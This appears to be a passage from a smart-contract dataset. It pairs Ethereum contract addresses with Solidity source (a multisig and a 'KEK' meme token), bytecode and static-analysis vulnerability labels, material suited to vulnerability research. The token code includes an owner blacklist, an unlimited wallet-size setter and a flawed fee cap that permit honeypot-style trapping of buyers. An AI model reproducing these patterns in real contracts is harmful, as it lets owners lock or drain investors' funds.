d9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b0319166001600160a01b0384161790555b5050565b6000805b600f5481101561101b57600f8181548110610fea57fe5b6000918252602090912001546001600160a01b03848116911614156110135760019150506109d5565b600101610fd3565b50600092915050565b6000546001600160a01b0316331461103b57600080fd5b6001600160a01b0381166110805760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000806110d983606461141d565b905060006109d061271061056c8460645b6000826110f957506000611146565b8282028284828161110657fe5b04146111435760405162461bcd60e51b81526004018080602001828103825260218152602001806116216021913960400191505060405180910390fd5b90505b92915050565b600061114383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611437565b60006001600160a01b0382166111d55760405162461bcd60e51b81526004018080602001828103825260228152602001806115ff6022913960400191505060405180910390fd5b6001600160a01b038216600090815260106020908152604080832060038101546008549154600019820186526011909452918420546006549294936112229361056c92610566919061129c565b6008546001600160a01b03861660009081526010602090815260408083205460001988018452601190925290912054600654939450919261126792610566919061129c565b8161126e57fe5b6001600160a01b03959095166000908152601060205260409020600401805491909506019093555090919050565b600061114383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d9565b60006112fb600754610e6a600854856110ea90919063ffffffff16565b905060006113146003548361114c90919063ffffffff16565b905061132b6003548361153390919063ffffffff16565b60075560065461133b90826113c3565b6006556009546000190160009081526011602052604090205461135e90826113c3565b6009805460009081526011602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060098054600101905550565b600082820183811015611143576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600081826001848601038161142e57fe5b04029392505050565b600081836114c35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611488578181015183820152602001611470565b50505050905090810190601f1680156114b55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816114cf57fe5b0495945050505050565b6000818484111561152b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611488578181015183820152602001611470565b505050900390565b600061114383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836115bf5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611488578181015183820152602001611470565b508284816115c957fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e747261637445524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7757697468647261772063616e206f6e6c7920626520646f6e652061667465722033302064617973546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e7445524332303a20596f752772206e6f7420616c6c6f77656420746f2075736520746869732066756e6374696f6ea2646970667358221220e52b567ae9bff10b09794f4f7092a4934f18450c4b5f04f2a7532f9f1e3ae9a064736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,057
0xf8345037Da48e90A68A9590C4bBAad6fbbd62661
pragma solidity 0.6.4; library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } contract Msign { using EnumerableSet for EnumerableSet.AddressSet; event Activate(address indexed sender, bytes32 id); event Execute(address indexed sender, bytes32 id); event Sign(address indexed sender, bytes32 id); event Enable(address indexed sender, address indexed account); event Disable(address indexed sender, address indexed account); struct proposal_t { address code; bytes data; uint256 done; mapping(address => uint256) signers; } mapping(bytes32 => proposal_t) public proposals; uint256 private _weight; EnumerableSet.AddressSet private _signers; constructor( uint256 _length, address[] memory _accounts ) public { require(_length >= 1, "Msign.Length not valid"); require(_length == _accounts.length, "Msign.Args fault"); for (uint256 i = 0; i < _length; ++i) { require(_signers.add(_accounts[i]), "Msign.Duplicate signer"); } } //single sign auth modifier ssignauth() { require(_signers.contains(msg.sender), "Msign.Invalid signer"); _; } //multi sign auth modifier msignauth(bytes32 id) { require(mulsignweight(id) >= threshold(), "Msign.Threshold unreached"); _; } modifier auth() { require(msg.sender == address(this)); _; } function gethash(address code, bytes memory data) public pure returns (bytes32) { return keccak256(abi.encodePacked(code, data)); } function activate(address code, bytes memory data) public ssignauth returns (bytes32) { require(code != address(0), "Msign.Invalid args"); require(data.length >= 4, "Msign.Invalid args"); bytes32 _hash = gethash(code, data); proposals[_hash].code = code; proposals[_hash].data = data; emit Activate(msg.sender, _hash); return _hash; } function execute(bytes32 id) public msignauth(id) returns (bool success, bytes memory result) { require(proposals[id].done == 0, "Msign.Proposal has been executed"); proposals[id].done = 1; (success, result) = proposals[id].code.call(proposals[id].data); require(success, "Msign.Execute fail"); emit Execute(msg.sender, id); } function sign(bytes32 id) public ssignauth { require(proposals[id].signers[msg.sender] == 0, "Msign.Duplicate sign"); proposals[id].signers[msg.sender] = 1; emit Sign(msg.sender, id); } function enable(address account) public auth { require(_signers.add(account), "Msign.Duplicate signer"); emit Enable(msg.sender, account); } function disable(address account) public auth { require(_signers.remove(account), "Msign.Disable nonexist"); require(_signers.length() >= 1, "Msign.Invalid set"); emit Disable(msg.sender, account); } function mulsignweight(bytes32 id) public view returns (uint256) { uint256 _weights = 0; for (uint256 i = 0; i < _signers.length(); ++i) { _weights += proposals[id].signers[_signers.at(i)]; } return _weights; } function threshold() public view returns (uint256) { return (_signers.length() / 2) + 1; } function signers() public view returns (address[] memory) { address[] memory values = new address[](_signers.length()); for (uint256 i = 0; i < _signers.length(); ++i) { values[i] = _signers.at(i); } return values; } function signable(address signer) public view returns (bool) { return _signers.contains(signer); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806361c419341161007157806361c41934146102a957806377e1ab03146102e3578063799cd33314610300578063e612aac01461031d578063e6c09edf146103d3578063e751f271146103f9576100a9565b806332ed5b12146100ae578063351ff34a1461015957806342cde4e81461022157806346f0975a146102295780635bfa1b6814610281575b600080fd5b6100cb600480360360208110156100c457600080fd5b5035610499565b604080516001600160a01b0385168152908101829052606060208083018281528551928401929092528451608084019186019080838360005b8381101561011c578181015183820152602001610104565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b61020f6004803603604081101561016f57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561019a57600080fd5b8201836020820111156101ac57600080fd5b803590602001918460018302840111640100000000831117156101ce57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610550945050505050565b60408051918252519081900360200190f35b61020f6106d2565b6102316106f1565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561026d578181015183820152602001610255565b505050509050019250505060405180910390f35b6102a76004803603602081101561029757600080fd5b50356001600160a01b0316610781565b005b6102cf600480360360208110156102bf57600080fd5b50356001600160a01b0316610821565b604080519115158252519081900360200190f35b61020f600480360360208110156102f957600080fd5b5035610834565b6102a76004803603602081101561031657600080fd5b503561089b565b61020f6004803603604081101561033357600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561035e57600080fd5b82018360208201111561037057600080fd5b8035906020019184600183028401116401000000008311171561039257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109af945050505050565b6102a7600480360360208110156103e957600080fd5b50356001600160a01b0316610a44565b6104166004803603602081101561040f57600080fd5b5035610b37565b604051808315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561045d578181015183820152602001610445565b50505050905090810190601f16801561048a5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b600060208181529181526040908190208054600180830180548551600261010094831615949094026000190190911692909204601f81018790048702830187019095528482526001600160a01b0390921694929390928301828280156105405780601f1061051557610100808354040283529160200191610540565b820191906000526020600020905b81548152906001019060200180831161052357829003601f168201915b5050505050908060020154905083565b600061056360023363ffffffff610d6016565b6105ab576040805162461bcd60e51b815260206004820152601460248201527326b9b4b3b71724b73b30b634b21039b4b3b732b960611b604482015290519081900360640190fd5b6001600160a01b0383166105fb576040805162461bcd60e51b81526020600482015260126024820152714d7369676e2e496e76616c6964206172677360701b604482015290519081900360640190fd5b600482511015610647576040805162461bcd60e51b81526020600482015260126024820152714d7369676e2e496e76616c6964206172677360701b604482015290519081900360640190fd5b600061065384846109af565b60008181526020818152604090912080546001600160a01b0319166001600160a01b038816178155855192935061069292600190910191860190610f4d565b5060408051828152905133917fd51860671f4fae701e1e6e99efeeb6f2d67e0d43225ffadb086fa67e73d2024f919081900360200190a290505b92915050565b600060026106e06002610d7c565b816106e757fe5b0460010190505b90565b6060806106fe6002610d7c565b604051908082528060200260200182016040528015610727578160200160208202803683370190505b50905060005b6107376002610d7c565b81101561077b5761074f60028263ffffffff610d8716565b82828151811061075b57fe5b6001600160a01b039092166020928302919091019091015260010161072d565b50905090565b33301461078d57600080fd5b61079e60028263ffffffff610d9316565b6107e8576040805162461bcd60e51b815260206004820152601660248201527526b9b4b3b717223ab83634b1b0ba329039b4b3b732b960511b604482015290519081900360640190fd5b6040516001600160a01b0382169033907fde5e137ba5ac350369870909a472ce1ff0e3724cc369184c7a9dc06fdea77e2e90600090a350565b60006106cc60028363ffffffff610d6016565b600080805b6108436002610d7c565b8110156108945760008481526020819052604081206003019061086d60028463ffffffff610d8716565b6001600160a01b031681526020810191909152604001600020549190910190600101610839565b5092915050565b6108ac60023363ffffffff610d6016565b6108f4576040805162461bcd60e51b815260206004820152601460248201527326b9b4b3b71724b73b30b634b21039b4b3b732b960611b604482015290519081900360640190fd5b60008181526020818152604080832033845260030190915290205415610958576040805162461bcd60e51b815260206004820152601460248201527326b9b4b3b717223ab83634b1b0ba329039b4b3b760611b604482015290519081900360640190fd5b60008181526020818152604080832033808552600390910183529281902060019055805184815290517f80aefaab1c400a701ea2159849b146231d2c7be9b71f2b885ea50e55a64667c6929181900390910190a250565b6000828260405160200180836001600160a01b03166001600160a01b031660601b815260140182805190602001908083835b60208310610a005780518252601f1990920191602091820191016109e1565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405280519060200120905092915050565b333014610a5057600080fd5b610a6160028263ffffffff610da816565b610aab576040805162461bcd60e51b8152602060048201526016602482015275135cda59db8b911a5cd8589b19481b9bdb995e1a5cdd60521b604482015290519081900360640190fd5b6001610ab76002610d7c565b1015610afe576040805162461bcd60e51b8152602060048201526011602482015270135cda59db8b925b9d985b1a59081cd95d607a1b604482015290519081900360640190fd5b6040516001600160a01b0382169033907f0b057339f78bd2599a43a662c21ab0f99b47a10b7f01318aedc13a4e69b16b5390600090a350565b6000606082610b446106d2565b610b4d82610834565b1015610ba0576040805162461bcd60e51b815260206004820152601960248201527f4d7369676e2e5468726573686f6c6420756e7265616368656400000000000000604482015290519081900360640190fd5b60008481526020819052604090206002015415610c04576040805162461bcd60e51b815260206004820181905260248201527f4d7369676e2e50726f706f73616c20686173206265656e206578656375746564604482015290519081900360640190fd5b60008481526020819052604090819020600160028083018290558254935192820180546001600160a01b039095169490939283928592600019928116156101000292909201909116048015610c905780601f10610c6e576101008083540402835291820191610c90565b820191906000526020600020905b815481529060010190602001808311610c7c575b50509150506000604051808303816000865af19150503d8060008114610cd2576040519150601f19603f3d011682016040523d82523d6000602084013e610cd7565b606091505b50909350915082610d24576040805162461bcd60e51b8152602060048201526012602482015271135cda59db8b915e1958dd5d194819985a5b60721b604482015290519081900360640190fd5b60408051858152905133917f64f01fce048339a0335dfd356bde498cb3df0cd3920a550fe130ceb35530b504919081900360200190a250915091565b6000610d75836001600160a01b038416610dbd565b9392505050565b60006106cc82610dd5565b6000610d758383610dd9565b6000610d75836001600160a01b038416610e3d565b6000610d75836001600160a01b038416610e87565b60009081526001919091016020526040902054151590565b5490565b81546000908210610e1b5760405162461bcd60e51b8152600401808060200182810382526022815260200180610fe66022913960400191505060405180910390fd5b826000018281548110610e2a57fe5b9060005260206000200154905092915050565b6000610e498383610dbd565b610e7f575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106cc565b5060006106cc565b60008181526001830160205260408120548015610f435783546000198083019190810190600090879083908110610eba57fe5b9060005260206000200154905080876000018481548110610ed757fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080610f0757fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506106cc565b60009150506106cc565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610f8e57805160ff1916838001178555610fbb565b82800160010185558215610fbb579182015b82811115610fbb578251825591602001919060010190610fa0565b50610fc7929150610fcb565b5090565b6106ee91905b80821115610fc75760008155600101610fd156fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a2646970667358221220996597992f3b5d29c4b08554b9c973881c9fa5b7f2f360b4b456ce8920f08f1364736f6c63430006040033
{"success": true, "error": null, "results": {}}
3,058
0x72e063da13393a082911b25ddbb4a8bb09953431
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ // SPDX-License-Identifier: Unlicensed // KekKekKekKekKekKekKekKekKekKekKekKekKekKekKek // https://dreamofwojak.com/ // https://t.me/awojaksdream pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KEK is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "A Wojaks Dream"; string private constant _symbol = "KEK"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b357600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600e81526d4120576f6a616b7320447265616d60901b60208201525b60405161023e9190611a25565b60405180